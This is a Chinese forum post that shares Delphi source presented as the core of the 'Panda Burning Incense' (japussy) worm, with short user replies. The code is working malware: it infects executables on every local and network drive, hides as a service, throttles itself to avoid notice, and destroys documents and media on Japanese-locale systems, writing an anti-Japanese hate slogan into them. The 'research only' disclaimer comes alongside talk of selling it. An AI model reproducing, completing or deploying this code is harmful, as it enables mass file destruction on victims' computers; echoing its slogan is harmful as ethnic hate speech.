价值3000元的代码(只做研究不可用来干坏事)
发一段代码，以前值3000元的本病毒的做者用他一月赚了10万多。 经过了本人的考虑还是发出来把 因为我是黑基的黄金VIP所以从那里拿到了着段代码 请大家不要拿来干坏事 只为了 研究如何利用着代码编写出更好的杀本病毒的专杀工具造福大家。这个绝对不是吹绝对以前是卖3000的 现在也值这个钱 这里本人发布着代码只供会员研究不为别的 我不想因为着段代码给本人带来任何麻烦
这个代码大家一定不会陌生可能你的电脑就被他能的瘫痪过。。。
多了我也不用说了一看大家就知道这个就是李俊编写的熊猫烧香核心代码 在说一边别拿干坏事
program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
ct
headersize = 82432; //病毒体的大小
iconoffset = $12eb8; //pe文件主图标的偏移量
//在我的delphi5 sp1上面编译得到的大小，其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
headersize = 38912; //upx压缩过病毒体的大小
iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
icize = $2e8; //pe文件主图标的大小--744字节
icontail = iconoffset + icize; //pe文件主图标的尾部
id = $44444444; //感染标记
//码，以备写入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函数声明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之间复制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 将宿主文件从已感染的pe文件中分离出来，以备使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.seek(headersize, 0); //跳过头部的病毒部分
dstream.copyfrom(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo结构 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 发带毒邮件 }
procedure sendmail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array of char;
begin
try //出错则文件正在被使用，退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染
exit;
infected := false;
ispe := false;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //检查pe文件头
begin
srcstream.seek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf = #80) and (buf = #69) then //pe标记
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.seek(-4, sofromend); //检查感染标记
srcstream.read(iid, 4);
if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then //如果感染过了或不是pe文件则退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主图标(744字节)，存入流
aicon.releasehandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//头文件
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//写入病毒体主图标之前的数据
copystream(hdrstream, 0, dststream, 0, iconoffset);
//写入目前程序的主图标
copystream(icostream, 22, dststream, iconoffset, icize);
//写入病毒体主图标到病毒体尾部之间的数据
copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//写入宿主程序
copystream(srcstream, 0, dststream, headersize, srcstream.size);
//写入已感染的标记
dststream.seek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替换宿主文件
dststream.free;
end;
except;
end;
end;
{ 将目标文件写入码后删除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
setfileattributes(pchar(filename), 0); //去掉只读属性
filehandle := fileopen(filename, fmopenwrite); //打开文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //写入码的随机次数
if max < 5 then
max := 5;
mass := size div max; //每个间隔块的大小
len := length(catchword);
while i < max do
begin
fileseek(filehandle, i * mass, 0); //定位
//写入码，将文件彻底破坏掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclose(filehandle); //关闭文件
end;
deletefile(pchar(filename)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁盘和网络盘
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
if (searchrec.attr <> 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 0 //不是目录
else if (searchrec.attr = 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 1 //不是根目录
else result := 2; //是根目录
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列，避免引起怀疑
if isvaliddir(searchrec) = 0 then
begin
fn := path + searchrec.name;
ext := uppercase(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //感染可执行文件
end
else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//感染html和asp文件，将base编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之？
end
else if ext = '.wab' then //outlook地址簿文件
begin
//获取outlook邮件地址
end
else if ext = '.adc' then //foxmail地址自动完成文件
begin
//获取foxmail邮件地址
end
else if ext = 'ind' then //foxmail地址簿文件
begin
//获取foxmail邮件地址
end
else
begin
if isjap then //是倭文操作系统
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒，避免cpu占用率过高引起怀疑
sleep(200);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
repeat
if isvaliddir(searchrec) = 1 then
subdir.add(searchrec.name);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍历磁盘上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系统
isjap := true; //吧！
driverlist := getdrives; //得到可写的磁盘列表
len := length(driverlist);
while true do //死循环
begin
for i := len downto 1 do //遍历每个磁盘驱动器
loopfiles(driverlist + ':\', '*.*'); //感染之
sendmail; //发带毒邮件
sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if iswin9x then //是win9x
registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程
else //winnt
begin
//远程线程映射到explorer进程
//哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
tmpfile := paramstr(0); //创建临时文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件，多一个空格
extractfile(tmpfile); //分离之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //创建新进程运行之
infectfiles; //感染和发邮件
end;
end. 谢谢楼主了，不过这种东西发出来，难免有人会做一些。。。。大家都知道。:lol 早看过了.......... 这个看不懂 都烧进监狱了。。 看不懂哦 好像学习 一下 拿去买个2000就爽呆啰 什么破代码。。。。网上到处是。。。。哎。。
http://hacker-fanjun.blog.163.com/blog/static/1790869820077518383/ 好长...看不懂...